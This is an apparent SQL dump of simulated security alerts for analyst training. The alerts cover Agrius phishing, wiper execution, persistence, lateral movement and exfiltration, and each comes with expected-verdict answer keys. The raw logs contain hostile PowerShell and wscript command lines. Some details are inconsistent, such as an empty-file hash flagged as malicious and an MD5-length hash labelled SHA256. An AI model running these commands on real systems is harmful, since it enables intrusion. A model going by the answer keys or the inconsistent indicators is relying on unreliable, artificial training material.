'{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:31Z\\\",\\\"event_id\\\":\\\"DLPE12345\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"15MB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:31Z\\\",\\\"event_id\\\":\\\"DLPE12345\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"15MB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:31Z\\\",\\\"event_id\\\":\\\"DLPE12345\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"15MB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:31Z\\\",\\\"event_id\\\":\\\"DLPE12345\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"15MB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"Data Exfiltration Detected\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.820Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:22:31Z\\\",\\\"event_id\\\":\\\"DLPE12345\\\",\\\"source_ip\\\":\\\"10.0.0.15\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"data_volume\\\":\\\"15MB\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"sensitive_data.zip\\\",\\\"hash\\\":\\\"a1b2c3d4e5f67890123456789abcdef0\\\",\\\"action\\\":\\\"Data Exfiltration Detected\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1330, 'Suspicious Phishing Email Detected', 'high', 'Email Gateway', 'A phishing email targeting key personnel in Israeli organizations has been detected. The email is suspected to have been sent by the Agrius APT group to harvest credentials. The email contains malicious links and attachments that urge the recipient to provide login information.', 'Initial Access', 'T1566 - Phishing', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T08:45:30Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.1.5\",\"sender_email\":\"alert@securemail.com\",\"recipient_email\":\"john.doe@israeli-org.org\",\"subject\":\"Urgent: Update Your Account Information\",\"attachment\":{\"filename\":\"SecureUpdate.docx\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"url\":\"http://malicious-update.com/securelogin\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-01 22:56:26', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"alert@securemail.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Domain recently registered and used in phishing activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious document used in phishing.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-update.com/securelogin\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Analysis Service\",\"verdict\":\"malicious\",\"details\":\"URL hosting phishing landing page imitating legitimate service.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Phishing Email Detected\",\"date\":\"2026-03-02T13:55:06.822Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1331, 'Apostle Wiper Execution Attempt', 'high', 'Endpoint Detection and Response (EDR)', 'The Apostle malware was deployed attempting to execute under the guise of a ransomware attack. This is indicative of an Apostle wiper execution attempt, masquerading as ransomware.', 'Execution', 'T1059.001 - PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:35Z\",\"event_id\":\"4625\",\"source_ip\":\"185.230.150.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"compromised_user\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Temp\\\\ransomware.ps1\",\"file_hash\":\"3d2e479153a8f57f4f3b7e5c89f7a6e3c9b2f8d0\",\"filename\":\"ransomware.ps1\",\"action\":\"blocked\",\"severity\":\"high\"}', '2026-03-01 22:56:26', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.230.150.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with Apostle malware.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted by Apostle malware.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d2e479153a8f57f4f3b7e5c89f7a6e3c9b2f8d0\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Lab\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Apostle wiper variant.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"ransomware.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"File masquerading as ransomware, used by Apostle wiper.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1332, 'Persistence Mechanism Detected', 'high', 'System Logs', 'Agrius has established a persistent backdoor using scheduled tasks and registry modifications on the host machine. This action aims to maintain access over an extended period.', 'Persistence', 'T1053.005 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:20Z\",\"event_id\":\"4624\",\"log_source\":\"Windows Security Log\",\"user\":\"malicious_user\",\"action\":\"Scheduled Task Creation\",\"task_name\":\"\\\\Microsoft\\\\Windows\\\\Update\\\\CriticalUpdate\",\"command\":\"C:\\\\Windows\\\\System32\\\\wscript.exe C:\\\\Users\\\\Public\\\\update.js\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"registry_modification\":\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousEntry\",\"source_ip\":\"45.76.23.89\",\"affected_host_ip\":\"192.168.1.102\"}', '2026-03-01 22:56:26', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"45.76.23.89\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with Agrius.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"update.js\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Script used for establishing persistence.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"SHA256 Lookup\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to known Agrius malware variant.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Security Database\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.824Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:20Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"action\\\":\\\"Scheduled Task Creation\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\update.js\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_modification\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"source_ip\\\":\\\"45.76.23.89\\\",\\\"affected_host_ip\\\":\\\"192.168.1.102\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.824Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:20Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"action\\\":\\\"Scheduled Task Creation\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\update.js\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_modification\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"source_ip\\\":\\\"45.76.23.89\\\",\\\"affected_host_ip\\\":\\\"192.168.1.102\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.824Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:20Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"action\\\":\\\"Scheduled Task Creation\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\update.js\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_modification\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"source_ip\\\":\\\"45.76.23.89\\\",\\\"affected_host_ip\\\":\\\"192.168.1.102\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.824Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:20Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"action\\\":\\\"Scheduled Task Creation\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\update.js\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_modification\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"source_ip\\\":\\\"45.76.23.89\\\",\\\"affected_host_ip\\\":\\\"192.168.1.102\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.824Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:35:20Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"log_source\\\":\\\"Windows Security Log\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"action\\\":\\\"Scheduled Task Creation\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\CriticalUpdate\\\",\\\"command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe C:\\\\\\\\Users\\\\\\\\Public\\\\\\\\update.js\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"registry_modification\\\":\\\"HKCU\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousEntry\\\",\\\"source_ip\\\":\\\"45.76.23.89\\\",\\\"affected_host_ip\\\":\\\"192.168.1.102\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1333, 'Lateral Movement Pathway Identified', 'high', 'Network Traffic Analysis', 'The threat actor is leveraging harvested credentials to move laterally within the network, targeting additional systems to gain broader access and locate sensitive data.', 'Lateral Movement', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"source_ip\":\"10.0.10.15\",\"destination_ip\":\"192.168.1.25\",\"external_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"auth_method\":\"NTLM\",\"file_accessed\":\"\\\\\\\\192.168.1.25\\\\sensitive_data\\\\financial_report.xlsx\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"event_type\":\"Successful Login\",\"protocol\":\"SMB\",\"malware_filename\":\"mimikatz.exe\"}', '2026-03-01 22:56:26', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.10.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted system.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with threat actor.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"mimikatz.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Filename commonly used by credential-stealing malware.\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Employee username with compromised credentials.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1334, 'Data Exfiltration via Encrypted Channels', 'high', 'Data Loss Prevention (DLP)', 'Agrius APT group attempts to exfiltrate sensitive corporate data using encrypted channels, exploiting weaknesses in network monitoring to avoid detection.', 'Exfiltration', 'T1048.003 - Exfiltration Over Alternative Protocol: Encrypted Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:52:31Z\",\"event_id\":\"DLP-EXFIL-20231012-0005\",\"source_ip\":\"192.168.15.8\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"protocol\":\"HTTPS\",\"file_name\":\"company_secrets.zip\",\"file_hash\":\"f2ca1bb6c7e907d06dafe4687e579fce\",\"file_size\":\"10MB\",\"encryption\":\"AES-256\",\"action\":\"allowed\",\"alert_level\":\"high\",\"description\":\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\"}', '2026-03-01 22:56:26', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.15.8\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with Agrius APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2ca1bb6c7e907d06dafe4687e579fce\",\"is_critical\":true,\"osint_result\":{\"source\":\"antivirus database\",\"verdict\":\"suspicious\",\"details\":\"File hash detected in recent APT campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"company_secrets.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"suspicious\",\"details\":\"Sensitive data file potentially exfiltrated.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.827Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:31Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231012-0005\\\",\\\"source_ip\\\":\\\"192.168.15.8\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"company_secrets.zip\\\",\\\"file_hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"file_size\\\":\\\"10MB\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_level\\\":\\\"high\\\",\\\"description\\\":\\\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.827Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:31Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231012-0005\\\",\\\"source_ip\\\":\\\"192.168.15.8\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"company_secrets.zip\\\",\\\"file_hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"file_size\\\":\\\"10MB\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_level\\\":\\\"high\\\",\\\"description\\\":\\\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.827Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:31Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231012-0005\\\",\\\"source_ip\\\":\\\"192.168.15.8\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"company_secrets.zip\\\",\\\"file_hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"file_size\\\":\\\"10MB\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_level\\\":\\\"high\\\",\\\"description\\\":\\\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.827Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:31Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231012-0005\\\",\\\"source_ip\\\":\\\"192.168.15.8\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"company_secrets.zip\\\",\\\"file_hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"file_size\\\":\\\"10MB\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_level\\\":\\\"high\\\",\\\"description\\\":\\\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.827Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:52:31Z\\\",\\\"event_id\\\":\\\"DLP-EXFIL-20231012-0005\\\",\\\"source_ip\\\":\\\"192.168.15.8\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"company_secrets.zip\\\",\\\"file_hash\\\":\\\"f2ca1bb6c7e907d06dafe4687e579fce\\\",\\\"file_size\\\":\\\"10MB\\\",\\\"encryption\\\":\\\"AES-256\\\",\\\"action\\\":\\\"allowed\\\",\\\"alert_level\\\":\\\"high\\\",\\\"description\\\":\\\"An encrypted data transfer was detected from an internal host to an external IP associated with Agrius APT activities.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
